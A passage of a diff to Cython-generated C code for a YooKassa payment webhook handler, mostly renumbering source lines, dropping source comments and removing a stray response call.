__PYX_ERR(0, 197, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_event, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 197, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -6856,22 +6206,15 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":199 - * logger.info(f"Webhook event received: {event}") - * - * payment_object = event.get("object", {}) # <<<<<<<<<<<<<< - * payment_id = payment_object.get("id") - * if not payment_id: - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_event, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_event, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -6892,7 +6235,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -6900,14 +6243,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_payment_object = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":200 - * - * payment_object = event.get("object", {}) - * payment_id = payment_object.get("id") # <<<<<<<<<<<<<< - * if not payment_id: - * logger.error(" ID ") - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment_object, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment_object, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; __pyx_t_4 = 0; @@ -6927,7 +6263,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_id}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -6935,27 +6271,13 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_payment_id = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":201 - * payment_object = event.get("object", {}) - * payment_id = payment_object.get("id") - * if not payment_id: # <<<<<<<<<<<<<< - * logger.error(" ID ") - * return web.Response(status=400) - */ - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_id); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 201, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_id); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 202, __pyx_L1_error) __pyx_t_7 = (!__pyx_t_6); if (__pyx_t_7) { - /* "handlers/payments/yookassa_pay.py":202 - * payment_id = payment_object.get("id") - * if not payment_id: - * logger.error(" ID ") # <<<<<<<<<<<<<< - * return web.Response(status=400) - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 202, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -6976,29 +6298,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_ID}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":203 - * if not payment_id: - * logger.error(" ID ") - * return web.Response(status=400) # <<<<<<<<<<<<<< - * - * try: - */ __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 203, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 204, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -7006,22 +6321,8 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L0; - /* "handlers/payments/yookassa_pay.py":201 - * payment_object = event.get("object", {}) - * payment_id = payment_object.get("id") - * if not payment_id: # <<<<<<<<<<<<<< - * logger.error(" ID ") - * return web.Response(status=400) - */ } - /* "handlers/payments/yookassa_pay.py":205 - * return web.Response(status=400) - * - * try: # <<<<<<<<<<<<<< - * payment = Payment.find_one(payment_id) - * logger.info(f" API Yookassa: {payment}") - */ { __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); __Pyx_XGOTREF(__pyx_t_8); @@ -7029,16 +6330,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGOTREF(__pyx_t_10); /*try:*/ { - /* "handlers/payments/yookassa_pay.py":206 - * - * try: - * payment = Payment.find_one(payment_id) # <<<<<<<<<<<<<< - * logger.info(f" API Yookassa: {payment}") - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_Payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_Payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_find_one); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 206, __pyx_L6_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_find_one); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 207, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -7059,7 +6353,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_payment_id}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } @@ -7067,21 +6361,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_payment = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":207 - * try: - * payment = Payment.find_one(payment_id) - * logger.info(f" API Yookassa: {payment}") # <<<<<<<<<<<<<< - * - * if payment.status == "succeeded" and payment.paid: - */ - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 207, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 208, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 207, __pyx_L6_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 208, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_API_Yookassa, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 207, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_API_Yookassa, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -7103,118 +6390,69 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":209 - * logger.info(f" API Yookassa: {payment}") - * - * if payment.status == "succeeded" and payment.paid: # <<<<<<<<<<<<<< - * web.Response(status=200) - * user_id_str = payment.metadata.get("user_id") - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_succeeded, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 209, __pyx_L6_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_succeeded, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 210, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { } else { __pyx_t_7 = __pyx_t_6; goto __pyx_L13_bool_binop_done; } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_paid); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_paid); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 209, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 210, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __pyx_t_6; __pyx_L13_bool_binop_done:; if (__pyx_t_7) { - /* "handlers/payments/yookassa_pay.py":210 - * - * if payment.status == "succeeded" and payment.paid: - * web.Response(status=200) # <<<<<<<<<<<<<< - * user_id_str = payment.metadata.get("user_id") - * amount_str = payment.amount["value"] - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_metadata); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 210, __pyx_L6_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - /* "handlers/payments/yookassa_pay.py":211 - * if payment.status == "succeeded" and payment.paid: - * web.Response(status=200) - * user_id_str = payment.metadata.get("user_id") # <<<<<<<<<<<<<< - * amount_str = payment.amount["value"] - * - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_metadata); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = NULL; + __pyx_t_1 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_1))) { - __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); - if (likely(__pyx_t_3)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); - __Pyx_INCREF(__pyx_t_3); + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_1, function); + __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_4 = 1; } } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_user_id}; - __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_n_u_user_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_3; + __pyx_t_3 = 0; + + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_t_3, __pyx_n_u_value); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 212, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GIVEREF(__pyx_t_2); - __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_2; + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":212 - * web.Response(status=200) - * user_id_str = payment.metadata.get("user_id") - * amount_str = payment.amount["value"] # <<<<<<<<<<<<<< - * - * try: - */ - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_amount); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 212, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L6_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; - __pyx_t_1 = 0; - - /* "handlers/payments/yookassa_pay.py":214 - * amount_str = payment.amount["value"] - * - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = float(amount_str) - */ { __Pyx_ExceptionSave(&__pyx_t_11, &__pyx_t_12, &__pyx_t_13); __Pyx_XGOTREF(__pyx_t_11); @@ -7222,60 +6460,39 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGOTREF(__pyx_t_13); /*try:*/ { - /* "handlers/payments/yookassa_pay.py":215 - * - * try: - * user_id = int(user_id_str) # <<<<<<<<<<<<<< - * amount = float(amount_str) - * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - */ - __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 215, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_user_id = __pyx_t_1; - __pyx_t_1 = 0; + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 215, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_2; + __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":216 - * try: - * user_id = int(user_id_str) - * amount = float(amount_str) # <<<<<<<<<<<<<< - * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * - */ __pyx_t_14 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_14 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 216, __pyx_L15_error) __pyx_cur_scope->__pyx_v_amount = __pyx_t_14; - /* "handlers/payments/yookassa_pay.py":217 - * user_id = int(user_id_str) - * amount = float(amount_str) - * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< - * - * await add_payment(user_id, amount, "yookassa") - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 217, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyTuple_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyTuple_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_2); __pyx_t_15 = 0; __pyx_t_16 = 127; __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); __pyx_t_15 += 31; __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); - PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u_Payment_succeeded_for_user_id); __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 217, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_16; __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_5); - PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_5); __pyx_t_5 = 0; __Pyx_INCREF(__pyx_kp_u_amount_2); __pyx_t_15 += 10; __Pyx_GIVEREF(__pyx_kp_u_amount_2); - PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u_amount_2); __pyx_t_5 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 217, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 217, __pyx_L15_error) @@ -7284,139 +6501,69 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) : __pyx_t_16; __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_17); __Pyx_GIVEREF(__pyx_t_17); - PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_17); + PyTuple_SET_ITEM(__pyx_t_3, 3, __pyx_t_17); __pyx_t_17 = 0; - __pyx_t_17 = 